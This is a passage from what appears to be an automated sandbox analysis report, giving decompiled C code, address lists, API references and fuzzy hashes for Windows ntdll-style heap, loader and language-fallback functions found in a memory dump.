0x6d2a56ae
0x6d24e956
0x6d24e956
0x6d24e8fa
0x6d24e95e
0x6d2a56b9
0x6d2a56c8
0x6d2a56c8
0x6d2a56cd
0x6d2a56cd
0x6d24e964
0x6d24e964
0x6d24e8ff
0x6d24e969
0x6d24e96e
0x6d2a56d8
0x6d2a56da
0x6d2a56e1
0x6d2a56e1
0x6d2a56e6
0x6d2a56e6
0x6d24e974
0x6d24e974
0x6d24e904
0x6d24e979
0x6d24e97e
0x6d2a56f1
0x6d2a56f3
0x6d2a56fa
0x6d2a56fa
0x6d2a56ff
0x6d2a56ff
0x6d24e984
0x6d24e984
0x6d24e909
0x6d24e9ae
0x6d24e9b3
0x6d2a570a
0x6d2a570c
0x6d2a5713
0x6d2a5713
0x6d2a5718
0x6d2a5718
0x6d24e9b9
0x6d24e9b9
0x6d24e911
0x6d24e9c1
0x6d24e9c6
0x6d2a5723
0x6d2a5725
0x6d2a572c
0x6d2a572c
0x6d2a5731
0x6d2a5731
0x6d24e9cc
0x6d24e9cc
0x6d24e917
0x6d24e91e
0x6d24e9d7
0x6d24e9dc
0x6d2a573b
0x6d2a573d
0x6d2a5741
0x6d2a5744
0x6d2a5744
0x6d2a5749
0x6d2a5749
0x6d24e9e2
0x6d24e9e2
0x6d24e92b
0x6d2a5754
0x6d2a5758
0x6d2a5767
0x6d2a5767
0x6d2a576c
0x6d2a576c
0x6d2a576f
0x6d2a576f
0x6d24e937
0x6d2a577e
0x6d2a5786
0x6d2a5795
0x6d2a5795
0x6d2a579a
0x6d2a579a

APIs

RtlFreeHeap.1105(?,00000000,?,C000000D,00000000,0000EEEE,?,?,6D2FD3A0,00000000,00000FFF,00000000,?,6D2A9578,00000000), ref: 6D2A568A
RtlFreeHeap.1105(?,00000000,?,C000000D,00000000,0000EEEE,?,?,6D2FD3A0,00000000,00000FFF,00000000,?,6D2A9578,00000000), ref: 6D2A56A9
RtlFreeHeap.1105(?,00000000,?,C000000D,00000000,0000EEEE,?,?,6D2FD3A0,00000000,00000FFF,00000000,?,6D2A9578,00000000), ref: 6D2A56C8

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 332dd7b6427a2ff37b2958637256c2ea3595f6bb166278ecb2218a35508bbaf5
Instruction ID: 0ec1073f27245cca7c3a7c52f72082d0f6cbb294593ba31b1bdd30b94855286b
Opcode Fuzzy Hash: 332dd7b6427a2ff37b2958637256c2ea3595f6bb166278ecb2218a35508bbaf5
Instruction Fuzzy Hash: E97149715E8B4BCBE3668E19CA40B32B7F1FF41766F148A2D9DE2869E1D764A440CB40

Uniqueness

Uniqueness Score: -1.00%

Function 6D2795EC, Relevance: 10.7, APIs: 7, Instructions: 165
timelibraryCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E6D2795EC(intOrPtr __ecx, signed int __edx, intOrPtr _a4) {
				intOrPtr _v0;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				char _v20;
				signed int _v24;
				intOrPtr _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t55;
				signed int _t59;
				signed int* _t62;
				void* _t68;
				intOrPtr _t86;
				void* _t90;
				signed int _t91;
				signed int _t92;
				signed int _t95;
				signed int _t111;
				signed int _t114;
				signed int _t116;

				_v8 =  *0x6d33d360 ^ _t116;
				_t114 = __edx;
				_v28 = __ecx;
				_v24 = 0;
				_v20 = 0;
				_t115 =  *((intOrPtr*)(__edx + 0x58));
				if(_t115 != 0) {
					_push( &_v20);
					_push(0);
					_push(0);
					E6D283720(_t90, __edx, __edx, _t115, __eflags);
				}
				_t91 = _t114 + 0x8c;
				_t95 =  *_t91;
				do {
					_t111 = _t95;
					_t55 = _t95 >> 1;
					if(_t55 == 0) {
						_v16 = _v16 & 0x00000000;
						_v12 = _v12 & 0x00000000;
					} else {
						_v16 = 1;
						_v12 = 1;
						if((_t95 & 0x00000001 | _t55 * 0x00000002 - 0x00000002) < 2) {
							_v12 = _v12 & 0x00000000;
						}
					}
					asm("lock cmpxchg [ebx], ecx");
					_t95 = _t111;
				} while (_t95 != _t111);
				_t92 = _t91 | 0xffffffff;
				if(_t115 != 0) {
					__eflags = _v16;
					if(__eflags != 0) {
						__eflags = E6D27EAA0(_t95, 0, _t115);
						if(__eflags >= 0) {
							_t86 = _v28;
							_t35 = _t86 + 0x50;
							 *_t35 =  *(_t86 + 0x50) | 0x00000100;
							__eflags =  *_t35;
							 *((intOrPtr*)(_t86 + 0x64)) = _t115;
						} else {
							_v16 = _v16 & 0x00000000;
							_v12 = _v12 & 0x00000000;
							_v24 = 1;
						}
					}
					_push(_v20);
					_push(0);
					E6D284520(_t92, _t114, _t115, __eflags);
					__eflags = _v24;
					if(_v24 != 0) {
						_t113 = _t92;
						E6D279ED0(_t114 + 0x20, _t92, 0);
						E6D318450(_t114);
					}
				}
				if(_v12 != 0) {
					_push(2);
					asm("lock xadd [edi], eax");
					_t59 = E6D267D50();
					__eflags = _t59;
					if(_t59 != 0) {
						_t62 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					} else {
						_t62 = 0x7ffe0386;
					}
					__eflags =  *_t62;
					if( *_t62 != 0) {
						E6D318A62( *(_t114 + 0x5c), _t114 + 0x78,  *((intOrPtr*)(_t114 + 0x30)),  *((intOrPtr*)(_t114 + 0x34)),  *((intOrPtr*)(_t114 + 0x3c)));
					}
					_t113 =  *(_t114 + 0x5c);
					E6D279702(_t92, _t114 + 0x78,  *(_t114 + 0x5c),  *((intOrPtr*)(_t114 + 0x74)), 0);
					asm("lock xadd [edi], eax");
					if(__eflags == 0) {
						_t115 =  *((intOrPtr*)( *((intOrPtr*)(_t114 + 4))));
						 *0x6d33b1e0(_t114);
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t114 + 4))))))();
					}
				}
				if(_a4 != 0) {
					_t113 = 0;
					__eflags = E6D27992F(0);
					if(__eflags != 0) {
						 *((intOrPtr*)(_t114 + 0x70)) = _v0;
						asm("lock xadd [edi], eax");
						if(__eflags == 0) {
							_t115 =  *((intOrPtr*)( *((intOrPtr*)(_t114 + 4))));
							 *0x6d33b1e0(_t114);
							 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t114 + 4))))))();
						}
					}
				}
				if(_v16 == 0) {
					asm("lock xadd [edi], ebx");
					_t92 = _t92 - 1;
					__eflags = _t92;
					if(_t92 == 0) {
						_t115 =  *((intOrPtr*)( *((intOrPtr*)(_t114 + 4))));
						 *0x6d33b1e0(_t114);
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t114 + 4))))))();
					}
					_t68 = 0;
				} else {
					_t113 = _t114;
					E6D26E63F(_v28, _t114);
					_t68 = 1;
				}
				return E6D28B640(_t68, _t92, _v8 ^ _t116, _t113, _t114, _t115);
			}

0x6d2795fb
0x6d279601
0x6d279603
0x6d279608
0x6d27960b
0x6d27960e
0x6d279613
0x6d2b967f
0x6d2b9680
0x6d2b9681
0x6d2b9682
0x6d2b9682
0x6d279619
0x6d27961f
0x6d279621
0x6d279623
0x6d279625
0x6d279627
0x6d2b968c
0x6d2b9690
0x6d27962d
0x6d279634
0x6d279643
0x6d279649
0x6d27964b
0x6d27964f
0x6d279649
0x6d279653
0x6d279657
0x6d279659
0x6d27965d
0x6d279662
0x6d2b969c
0x6d2b96a0
0x6d2b96aa
0x6d2b96ac
0x6d2b96bf
0x6d2b96c2
0x6d2b96c2
0x6d2b96c2
0x6d2b96c9
0x6d2b96ae
0x6d2b96ae
0x6d2b96b2
0x6d2b96b6
0x6d2b96b6
0x6d2b96ac
0x6d2b96cc
0x6d2b96cf
0x6d2b96d1
0x6d2b96d6
0x6d2b96da
0x6d2b96e5
0x6d2b96e7
0x6d2b96ed
0x6d2b96ed
0x6d2b96da
0x6d27966c
0x6d27969e
0x6d2796a1
0x6d2796a5
0x6d2796aa
0x6d2796ac
0x6d2b9700
0x6d2796b2
0x6d2796b2
0x6d2796b2
0x6d2796b9
0x6d2796bb
0x6d2b9719
0x6d2b9719
0x6d2796c1
0x6d2796cc
0x6d2796d3
0x6d2796d7
0x6d2b9727
0x6d2b972b
0x6d2b9731
0x6d2b9731
0x6d2796d7
0x6d279672
0x6d2796de
0x6d2796e7
0x6d2796e9
0x6d2796ee
0x6d2796f3
0x6d2796f7
0x6d2b973c
0x6d2b9740
0x6d2b9746
0x6d2b9746
0x6d2796f7
0x6d2796e9
0x6d279678
0x6d2b974d
0x6d2b9751
0x6d2b9751
0x6d2b9752
0x6d2b9758
0x6d2b975c
0x6d2b9762
0x6d2b9762
0x6d2b9764
0x6d27967e
0x6d279681
0x6d279683
0x6d27968a
0x6d27968a
0x6d27969b

APIs

RtlGetCurrentServiceSessionId.1105(00000000,00000001,?,?,7FFE0386), ref: 6D2796A5

Part of subcall function 6D279702: RtlAcquireSRWLockExclusive.1105(?,?,?,?,?,00000000,00000000,00000001,?,?,7FFE0386), ref: 6D27974F
Part of subcall function 6D279702: RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,?,00000000,00000000,00000001,?,?,7FFE0386), ref: 6D27976D

LdrLockLoaderLock.1105(00000000,00000000,00000001,?,?,7FFE0386,?,6D246778,00000001), ref: 6D2B9682
RtlDebugPrintTimes.1105(?,?,00000000,00000000,00000001,?,?,7FFE0386), ref: 6D2B972B
RtlDebugPrintTimes.1105(?,?,00000000,00000000,00000001,?,?,7FFE0386), ref: 6D2B9740

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Lock$DebugExclusivePrintTimes$AcquireCurrentLoaderReleaseServiceSession
String ID:
API String ID: 732933571-0
Opcode ID: 75ccb0a233540688f87546b801cdf6af97e8bd93230a483ba69b7642a2a04811
Instruction ID: 291dafbc5f99ee3f0843ed4bc801916d53b73963873f15b03ae9177b8af4c4a7
Opcode Fuzzy Hash: 75ccb0a233540688f87546b801cdf6af97e8bd93230a483ba69b7642a2a04811
Instruction Fuzzy Hash: FF51EF70A9870FEFDB25CF28C844BAEB7B4FF15319F118229D511972A0EB749920CB80

Uniqueness

Uniqueness Score: -1.00%

Function 6D2599C7, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 156
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E6D2599C7(signed int __ecx, signed int __edx, signed int _a4, signed int _a8, signed short* _a12) {
				char _v12;
				char* _v16;
				short _v18;
				char _v20;
				char* _v24;
				short _v26;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				char _v44;
				signed int _v48;
				signed int _v52;
				void* _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				char _v77;
				void* _v80;
				signed int _v88;
				char _v89;
				short _t109;
				short _t110;
				void* _t111;
				signed char* _t114;
				signed int _t115;
				signed char* _t116;
				signed int _t118;
				signed int _t120;
				signed int _t125;
				signed int _t143;
				short _t146;
				signed int _t149;
				short* _t156;
				intOrPtr _t165;
				signed char* _t169;

				_v52 = __ecx;
				_t146 = 0x38;
				_t109 = 0x3a;
				_v26 = _t109;
				_t110 = 0x36;
				_v48 = __edx;
				_v28 = _t146;
				_v24 = L"LdrResFallbackLangList Enter";
				_v20 = _t110;
				_v18 = _t146;
				_v16 = L"LdrResFallbackLangList Exit";
				_t111 = E6D267D50();
				_t169 = 0x7ffe0385;
				if(_t111 != 0) {
					_t114 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
				} else {
					_t114 = 0x7ffe0385;
				}
				_t140 = 0x7ffe0384;
				if(( *_t114 & 0x00000001) != 0) {
					_t115 = E6D267D50();
					if(_t115 == 0) {
						_t116 = 0x7ffe0384;
					} else {
						_t116 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					E6D2D6715( &_v28,  *_t116 & 0x000000ff);
				}
				_t156 = _a12;
				if(_t156 == 0) {
					_t165 = 0xc000000d;
					goto L37;
				} else {
					 *_t156 = 0;
					_t149 = 0;
					 *((char*)(_t156 + 0x204)) = 0;
					_v60 = 0;
					_v64 = 0;
					_v77 = 0;
					_v56 = 0;
					while(1) {
						L5:
						_t125 = _t149;
						_t143 = _t149;
						_v68 = _t149 + 1;
						if(_t125 > 7) {
							break;
						}
						switch( *((intOrPtr*)(_t125 * 4 +  &M6D259CEB))) {
							case 0:
								__si = _a4;
								goto L13;
							case 1:
								__eflags = _a8 & 0x00000004;
								if((_a8 & 0x00000004) != 0) {
									 *((char*)(__edx + 0x204)) = 1;
									goto L36;
								}
								__eflags = _a4 & 0x000003ff;
								if((_a4 & 0x000003ff) != 0) {
									 *((char*)(__edx + 0x204)) = 1;
									__edx =  &_v72;
									__eax = E6D24649B(__ecx, __edx);
									__eflags = __eax;
									if(__eax < 0) {
										goto L36;
									}
									__si = _v72;
									__eflags = __si;
									if(__si != 0) {
										__ecx = __ebx;
									} else {
										__ecx = __ecx | 0xffffffff;
									}
									_v68 = __ecx;
									L26:
									_push(2);
									goto L13;
								}
								goto L26;
							case 2:
								_v76 = 0;
								_t127 = L6D25ABEC();
								_t151 = _v60;
								if(_t127 == 0 || _t151 >= ( *( *( *[fs:0x18] + 0xfc0) + 4) & 0x0000ffff)) {
									_t173 = 0;
								} else {
									L6D25AAC7(_t151,  *( *[fs:0x18] + 0xfc0), _t151,  &_v76,  &_v77);
									_t173 = _v88;
									_t151 = _v72;
								}
								if(_t173 == 0) {
									goto L21;
								} else {
									if(_v77 != 0) {
										__eflags = _a8 & 0x00100000;
										if((_a8 & 0x00100000) != 0) {
											_t173 = 0xeeee;
										}
									}
									_v60 = _t151 + 1;
									_t149 = _t143;
									_push(3);
									_pop(_t167);
									_v68 = _t149;
									goto L13;
								}
							case 3:
								__eax = _v52;
								__eflags = __eax;
								if(__eax == 0) {
									L32:
									goto L5;
								}
								__edx = _v48;
								 &_v36 =  &_v44;
								__ecx = __eax;
								__eax = L6D2561A7(__ecx, _v48,  &_v44,  &_v36, _a8);
								__eflags = __eax;
								if(__eax >= 0) {
									 &_v12 = E6D28BB40(__ecx,  &_v12, _v44);
									 &_v48 =  &_v20;
									__eax = E6D2543C0( &_v20,  &_v48);
									__eflags = __al;
									if(__al == 0) {
										_v64 = 0xc00b0005;
										goto L31;
									}
									__eflags = _a8 & 0x00100000;
									__si = _v40;
									_v76 = _v40;
									if((_a8 & 0x00100000) != 0) {
										__edx =  *[fs:0x18];
										 &_v77 =  &_v76;
										__edx =  *( *[fs:0x18] + 0xfc0);
										__eax = L6D25AAC7(__ecx, __edx, 0,  &_v76,  &_v77);
										__eflags = _v89;
										if(_v89 == 0) {
											__si = _v76;
										}
									}
									__eax = _v36;
									__al = __al & 0x00000001;
									asm("sbb edi, edi");
									goto L42;
								}
								L31:
								__ecx = _v68;
								__edx = _a12;
								goto L32;
							case 4:
								__eax = 0xeeee;
								_v76 = __ax;
								__eax = _a8;
								__eax =  !_a8;
								__eflags = __eax & 0x00080000;
								if((__eax & 0x00080000) != 0) {
									goto L36;
								}
								__eflags =  *[fs:0x18];
								if( *[fs:0x18] == 0) {
									__si = _v76;
									goto L5;
								}
								__eax =  *[fs:0x18];
								__si =  *((intOrPtr*)( *[fs:0x18] + 0xc4));
								goto L13;
							case 5:
								__eax =  &_v56;
								_push( &_v56);
								_push(1);
								__eax = L6D289630();
								__edx = _a12;
								__ecx = __eax;
								_v72 = __ecx;
								__eflags = __ecx;
								__ecx = _v76;
								if(__eflags < 0) {
									goto L5;
								}
								__si = _v56;
								goto L42;
							case 6:
								__eax =  &_v32;
								_push( &_v32);
								_push(0);
								__eax = L6D289630();
								__edx = _a12;
								__ecx = __eax;
								_v72 = __ecx;
								__eflags = __ecx;
								__ecx = _v76;
								if(__eflags < 0) {
									goto L5;
								}
								__eax = _v32;
								__eflags = _v32 - _v56;
								if(_v32 == _v56) {
									goto L5;
								}
								__si = __ax;
								L42:
								__ecx = _v68;
								goto L13;
							case 7:
								L13:
								_t159 = _a12;
								if(_t173 == 0xeeee) {
									goto L5;
								}
								_t144 =  *_t159 & 0x0000ffff;
								_t153 = 0;
								_t129 = _t144;
								if(_t129 == 0) {
									L19:
									if(_t144 >= 0x40) {
										goto L36;
									}
									 *(_t159 + 4 + _t129 * 8) = _t173;
									 *((intOrPtr*)(_t159 + 8 + ( *_t159 & 0x0000ffff) * 8)) = _t167;
									 *_t159 =  *_t159 + 1;
									L21:
									_t149 = _v68;
									goto L5;
								}
								_t162 =  &(_t159[2]);
								while( *_t162 != _t173) {
									_t153 = _t153 + 1;
									_t162 =  &(_t162[4]);
									if(_t153 < _t129) {
										continue;
									}
									break;
								}
								_t159 = _a12;
								_t149 = _v68;
								if(_t153 < _t129) {
									goto L5;
								}
								goto L19;
						}
					}
					L36:
					_t165 = _v64;
					_t169 = 0x7ffe0385;
					_t63 = _t169 - 1; // 0x7ffe0384
					_t140 = _t63;
					L37:
					_t118 = E6D267D50();
					if(_t118 != 0) {
						_t169 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t169 & 0x00000001) != 0) {
						_t120 = E6D267D50();
						if(_t120 != 0) {
							_t140 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						}
						E6D2D6715( &_v20,  *_t140 & 0x000000ff);
					}
					return _t165;
				}
			}

0x6d2599d7
0x6d2599dd
0x6d2599e0
0x6d2599e3
0x6d2599e8
0x6d2599e9
0x6d2599ed
0x6d2599f2
0x6d2599fa
0x6d2599ff
0x6d259a04
0x6d259a0c
0x6d259a11
0x6d259a18
0x6d2a9ff0
0x6d259a1e
0x6d259a1e
0x6d259a1e
0x6d259a23
0x6d259a28
0x6d2a9ffa
0x6d2aa001
0x6d2aa013
0x6d2aa003
0x6d2aa00c
0x6d2aa00c
0x6d2aa01c
0x6d2aa01c
0x6d259a2e
0x6d259a33
0x6d2aa026
0x00000000
0x6d259a39
0x6d259a3d
0x6d259a40
0x6d259a42
0x6d259a48
0x6d259a4c
0x6d259a50
0x6d259a54
0x6d259a58
0x6d259a58
0x6d259a58
0x6d259a5a
0x6d259a5d
0x6d259a64
0x00000000
0x00000000
0x6d259a6a
0x00000000
0x6d259b45
0x00000000
0x00000000
0x6d259b4e
0x6d259b52
0x6d2aa0cc
0x00000000
0x6d2aa0cc
0x6d259b58
0x6d259b5f
0x6d2aa030
0x6d2aa03a
0x6d2aa03e
0x6d2aa043
0x6d2aa045
0x00000000
0x00000000
0x6d2aa04b
0x6d2aa050
0x6d2aa053
0x6d2aa05a
0x6d2aa055
0x6d2aa055
0x6d2aa055
0x6d2aa05c
0x6d259b6a
0x6d259b6a
0x00000000
0x6d259b6c
0x00000000
0x00000000
0x6d259a73
0x6d259a78
0x6d259a7d
0x6d259a83
0x6d259b72
0x6d259aa1
0x6d259ab9
0x6d259abe
0x6d259ac3
0x6d259ac3
0x6d259aca
0x00000000
0x6d259ad0
0x6d259ad5
0x6d2aa065
0x6d2aa06c
0x6d2aa072
0x6d2aa072
0x6d2aa06c
0x6d259adc
0x6d259ae0
0x6d259ae2
0x6d259ae4
0x6d259ae5
0x00000000
0x6d259ae5
0x00000000
0x6d259b83
0x6d259b87
0x6d259b89
0x6d259bb2
0x00000000
0x6d259bb2
0x6d259b8e
0x6d259b97
0x6d259b9c
0x6d259b9e
0x6d259ba3
0x6d259ba5
0x6d259c9f
0x6d259ca9
0x6d259cae
0x6d259cb3
0x6d259cb5
0x6d2aa0b5
0x00000000
0x6d2aa0b5
0x6d259cbb
0x6d259cc2
0x6d259cc7
0x6d259ccc
0x6d2aa07c
0x6d2aa088
0x6d2aa08d
0x6d2aa095
0x6d2aa09a
0x6d2aa09f
0x6d2aa0ab
0x6d2aa0ab
0x6d2aa09f
0x6d259cd2
0x6d259cd6
0x6d259cdd
0x00000000
0x6d259ce2
0x6d259bab
0x6d259bab
0x6d259baf
0x00000000
0x00000000
0x6d259bbc
0x6d259bc1
0x6d259bc6
0x6d259bc9
0x6d259bcb
0x6d259bd0
0x00000000
0x00000000
0x6d259bd2
0x6d259bda
0x6d2aa0c2
0x00000000
0x6d2aa0c2
0x6d259be0
0x6d259be6
0x00000000
0x00000000
0x6d259c1f
0x6d259c28
0x6d259c29
0x6d259c2b
0x6d259c30
0x6d259c33
0x6d259c35
0x6d259c39
0x6d259c3b
0x6d259c3f
0x00000000
0x00000000
0x6d259c45
0x00000000
0x00000000
0x6d259c53
0x6d259c5c
0x6d259c5d
0x6d259c5f
0x6d259c64
0x6d259c67
0x6d259c69
0x6d259c6d
0x6d259c6f
0x6d259c73
0x00000000
0x00000000
0x6d259c79
0x6d259c7d
0x6d259c81
0x00000000
0x00000000
0x6d259c87
0x6d259c4a
0x6d259c4a
0x00000000
0x00000000
0x6d259ae9
0x6d259ae9
0x6d259af4
0x00000000
0x00000000
0x6d259afa
0x6d259afd
0x6d259aff
0x6d259b03
0x6d259b24
0x6d259b27
0x00000000
0x00000000
0x6d259b2d
0x6d259b35
0x6d259b39
0x6d259b3c
0x6d259b3c
0x00000000
0x6d259b3c
0x6d259b05
0x6d259b08
0x6d259b0d
0x6d259b0e
0x6d259b13
0x00000000
0x00000000
0x00000000
0x6d259b13
0x6d259b15
0x6d259b1a
0x6d259b1e
0x00000000
0x00000000
0x00000000
0x00000000
0x6d259a6a
0x6d259bf2
0x6d259bf2
0x6d259bf6
0x6d259bfb
0x6d259bfb
0x6d259bfe
0x6d259bfe
0x6d259c05
0x6d2aa0e1
0x6d2aa0e1
0x6d259c0e
0x6d2aa0ec
0x6d2aa0f3
0x6d2aa0fe
0x6d2aa0fe
0x6d2aa10b
0x6d2aa10b
0x6d259c1c
0x6d259c1c

APIs

RtlGetCurrentServiceSessionId.1105 ref: 6D259A0C
RtlGetCurrentServiceSessionId.1105 ref: 6D259BFE
RtlGetCurrentServiceSessionId.1105 ref: 6D2A9FFA

Strings

LdrResFallbackLangList Exit, xrefs: 6D259A04
LdrResFallbackLangList Enter, xrefs: 6D2599F2

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession
String ID: LdrResFallbackLangList Enter$LdrResFallbackLangList Exit
API String ID: 1007659313-1720564570
Opcode ID: 9e3873cf923b0e1a0a644303dcc268cbc3ea891be601d2165eb581c4a21cc9a1
Instruction ID: 4c13eb97b9e952f433d8bc269a3e90261d4ea78e279ceb7798567c6b02ce27f8
Opcode Fuzzy Hash: 9e3873cf923b0e1a0a644303dcc268cbc3ea891be601d2165eb581c4a21cc9a1
Instruction Fuzzy Hash: 6F51E57169C38B8BE711CF28C480F6AB7E4FF86345F14846AE954CB281E336C864C766

Uniqueness

Uniqueness Score: -1.00%

Function 6D243FC5, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E6D243FC5(signed int __edx, intOrPtr _a4) {
				void* __ecx;
				signed char _t44;
				signed char _t48;
				intOrPtr* _t50;
				unsigned int _t51;
				signed char _t52;
				signed int _t58;
				signed int _t59;
				intOrPtr _t62;
				intOrPtr* _t64;
				signed int _t65;
				signed int _t78;

				_t58 = __edx;
				_t78 = _t59;
				if(__edx == 0 || (__edx & 0x00000007) != 0) {
					L37:
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E6D24B150();
					} else {
						E6D24B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push(_t58 + 8);
					_push(_t78);
					E6D24B150("Invalid address specified to %s( %p, %p )\n", _a4);
					if( *((char*)( *[fs:0x30] + 2)) != 0) {
						 *0x6d336378 = 1;
						asm("int3");
						 *0x6d336378 = 0;
					}
					return 0;
				} else {
					_t44 =  *((intOrPtr*)(__edx + 7));
					if((_t44 & 0x0000003f) == 0) {
						goto L37;
					}
					if(_t44 < 0) {
						if( *((char*)(_t78 + 0xda)) != 2) {
							_t62 = 0;
						} else {
							_t62 =  *((intOrPtr*)(_t78 + 0xd4));
						}
						if(_t62 != 0) {
							if(_t44 != 4) {
								L23:
								return 1;
							}
						}
						goto L37;
					}
					if( *(_t78 + 0x4c) == 0 || ( *(_t78 + 0x50) ^  *__edx) >> 0x18 == (( *(_t78 + 0x50) ^  *__edx) >> 0x00000010 ^ ( *(_t78 + 0x50) ^  *__edx) >> 0x00000008 ^ _t76)) {
						if( *((char*)(_t58 + 7)) == 4) {
							if((_t58 & 0x00000fff) != 0x18) {
								goto L37;
							}
							L13:
							if( *(_t78 + 0x4c) == 0) {
								_t48 =  *((intOrPtr*)(_t58 + 2));
							} else {
								_t51 =  *_t58;
								if(( *(_t78 + 0x4c) & _t51) != 0) {
									_t51 = _t51 ^  *(_t78 + 0x50);
								}
								_t48 = _t51 >> 0x10;
							}
							if((_t48 & 0x00000004) != 0) {
								if(E6D2F23E3(_t78, _t58) != 0) {
									goto L18;
								}
							} else {
								L18:
								if( *((char*)(_t58 + 7)) == 4) {
									goto L23;
								}
								_t64 = _t78 + 0xa4;
								_t50 =  *_t64;
								while(_t50 != _t64) {
									if(_t58 <  *((intOrPtr*)(_t50 + 0x14)) || _t58 >=  *((intOrPtr*)(_t50 + 0x18))) {
										_t50 =  *_t50;
										continue;
									} else {
										goto L23;
									}
								}
							}
							goto L37;
						}
						_t52 =  *((intOrPtr*)(_t58 + 6));
						if(_t52 == 0) {
							_t65 = _t78;
						} else {
							_t65 = (_t58 & 0xffff0000) - ((_t52 & 0x000000ff) << 0x10) + 0x10000;
						}
						if(_t65 == 0 ||  *((intOrPtr*)(_t65 + 0x18)) != _t78 || _t58 <  *((intOrPtr*)(_t65 + 0x24)) || _t58 >=  *((intOrPtr*)(_t65 + 0x28))) {
							goto L37;
						} else {
							goto L13;
						}
					} else {
						goto L37;
					}
				}
			}

0x6d243fcc
0x6d243fcf
0x6d243fd3
0x6d2a03b8
0x6d2a03c2
0x6d2a03e1
0x6d2a03e6
0x6d2a03c4
0x6d2a03d9
0x6d2a03de
0x6d2a03ef
0x6d2a03f0
0x6d2a03f9
0x6d2a040b
0x6d2a040d
0x6d2a0414
0x6d2a0415
0x6d2a0415
0x00000000
0x6d243fe2
0x6d243fe2
0x6d243fe7
0x00000000
0x00000000
0x6d243fef
0x6d2440b8
0x6d2440d8
0x6d2440ba
0x6d2440ba
0x6d2440ba
0x6d2440c2
0x6d2440ca
0x6d2440a4
0x00000000
0x6d2440a4
0x6d2440cc
0x00000000
0x6d2440c2
0x6d243ff9
0x6d24401f
0x6d2a03a0
0x00000000
0x00000000
0x6d244069
0x6d24406d
0x6d2440dc
0x6d24406f
0x6d24406f
0x6d244074
0x6d244076
0x6d244076
0x6d244079
0x6d244079
0x6d24407e
0x6d2a03b2
0x00000000
0x00000000
0x6d244084
0x6d244084
0x6d244088
0x00000000
0x00000000
0x6d24408a
0x6d244090
0x6d244092
0x6d24409d
0x6d2440ad
0x00000000
0x00000000
0x00000000
0x00000000
0x6d24409d
0x6d244092
0x00000000
0x6d24407e
0x6d244025
0x6d24402a
0x6d2440d1
0x6d244030
0x6d244040
0x6d244040
0x6d244048
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6d243ff9

APIs

DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,6D303933,RtlGetUserInfoHeap), ref: 6D2A03D9
DbgPrint.1105(HEAP: ,?,?,?,?,6D303933,RtlGetUserInfoHeap), ref: 6D2A03E6
DbgPrint.1105(Invalid address specified to %s( %p, %p ),?,?,?,?,?,?,?,6D303933,RtlGetUserInfoHeap), ref: 6D2A03F9

Strings

Invalid address specified to %s( %p, %p ), xrefs: 6D2A03F4
HEAP[%wZ]: , xrefs: 6D2A03D4
HEAP: , xrefs: 6D2A03E1

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: HEAP: $HEAP[%wZ]: $Invalid address specified to %s( %p, %p )
API String ID: 3558298466-1151232445
Opcode ID: b26dc160889c3c6649b9a4f21270e5e5e6938d0e6e12abcb03b870194b996371
